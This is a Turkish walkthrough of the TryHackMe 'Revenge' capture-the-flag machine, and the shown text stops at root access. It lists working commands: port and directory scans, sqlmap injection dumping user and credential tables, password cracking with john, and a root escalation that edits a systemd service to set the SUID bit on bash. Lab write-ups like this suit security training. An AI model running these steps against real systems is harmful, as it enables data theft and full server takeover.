Table of Contents
Merhabalar, bu yazımda sizlere TryHackMe platformunda bulunan “Revenge” isimli makinenin çözümü anlatacağım. Keyifli Okumalar…
Çözüm
1 — Nmap aracını kullanarak makine üzerindeki açık portlar ve servisler hakkında detaylı bilgi ediniyorum.
┌──(root㉿kali)-[/home/kali]
└─# nmap -sS -sV 10.10.190.142
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-24 11:53 EDT
Nmap scan report for 10.10.190.142
Host is up (0.075s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
2 — Dizin taraması yapıyorum.
┌──(root㉿kali)-[/home/kali]
└─# gobuster dir -u http://10.10.190.142 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.190.142
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/06/24 12:00:34 Starting gobuster in directory enumeration mode
===============================================================
/admin (Status: 200) [Size: 4983]
/contact (Status: 200) [Size: 6906]
/index (Status: 200) [Size: 8541]
/login (Status: 200) [Size: 4980]
/products (Status: 200) [Size: 7254]
/static (Status: 301) [Size: 194] [--> http://10.10.190.142/static/]
3 — sqlmap aracı ile sql enjeksiyonu saldırısı yapıyorum. Saldırısı sonucunda bazı veritabanı isimlerini elde ediyorum.
┌──(root㉿kali)-[/home/kali]
└─# sqlmap -u http://10.10.190.142/products/1 --dbs
*
*
available databases [5]:
[*] duckyinc
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
4 — “duckyinc” veritabanının içindeki tabloları listeliyorum.
┌──(root㉿kali)-[/home/kali]
└─# sqlmap -u http://10.10.190.142/products/1 -D duckyinc --tables --risk=3 --level=5
*
*
Database: duckyinc
[3 tables]
+-------------+
| system_user |
| user |
| product |
+-------------+
5 — “User” tablosunun içeriğini listelediğimde ilk bayrağı elde ediyorum.
┌──(root㉿kali)-[/home/kali]
└─# sqlmap -u http://10.10.190.142/products/1 -D duckyinc -T user --dump --risk=3 --level=5
*
*
| *CENSORED* |
6 — “system_user” tablosunun içeriğini listelediğimde birtakım giriş bilgileri elde ediyorum.
┌──(root㉿kali)-[/home/kali]
└─# sqlmap -u http://10.10.190.142/products/1 -D duckyinc -T system_user --dump --risk=3 --level=5
+----+----------------------+--------------+--------------------------------------------------------------+
| id | email | username | _password |
+----+----------------------+--------------+--------------------------------------------------------------+
*CENSORED*
+----+----------------------+--------------+--------------------------------------------------------------+
7 — “server-admin” kullanıcısının parola hashini john aracı ile kırıyorum. SSH bağlantısı kurup ikinci bayrağı elde ediyorum.
┌──(root㉿kali)-[/home/kali]
└─# john hash -w=/usr/share/wordlists/rockyou.txt
*CENSORED*
┌──(root㉿kali)-[/home/kali]
└─# ssh server-admin@10.10.190.142
*
*
server-admin@duckyinc:~$ ls
flag2.txt
server-admin@duckyinc:~$ cat flag2.txt
*CENSORED*
8 — Sudo yetkisi ile çalıştırabileceğim komutları listelediğimde “sudoedit” komutunu görüyorum. Duckinc.service adındaki bir servis konfigürasyon dosyasını değiştirebildiğimi görüyorum.
server-admin@duckyinc:~$ sudo -l
[sudo] password for server-admin:
Matching Defaults entries for server-admin on duckyinc:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User server-admin may run the following commands on duckyinc:
(root) /bin/systemctl start duckyinc.service, /bin/systemctl enable duckyinc.service, /bin/systemctl restart duckyinc.service, /bin/systemctl daemon-reload,
sudoedit /etc/systemd/system/duckyinc.service
9 — “duckyinc.service” dosyasını aşağıdaki gibi düzenliyorum.
server-admin@duckyinc:~$ sudoedit /etc/systemd/system/duckyinc.service
[Unit]
Description=Gunicorn instance to serve DuckyInc Webapp
After=network.target
[Service]
ExecStart=/bin/sh -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target
10 — Servisi yeniden başlattıktan sonra /bin/bash komutunun suid bitinin aktif edildiğini görüyorum. Root kullanıcısına geçtikten sonra üçüncü bayrağı elde ediyorum.
server-admin@duckyinc:~$ sudo systemctl daemon-reload
server-admin@duckyinc:~$ sudo systemctl restart duckyinc.service
server-admin@duckyinc:~$ /bin/bash -p
bash-4.4# whoami
root
bash-4.4# cd /root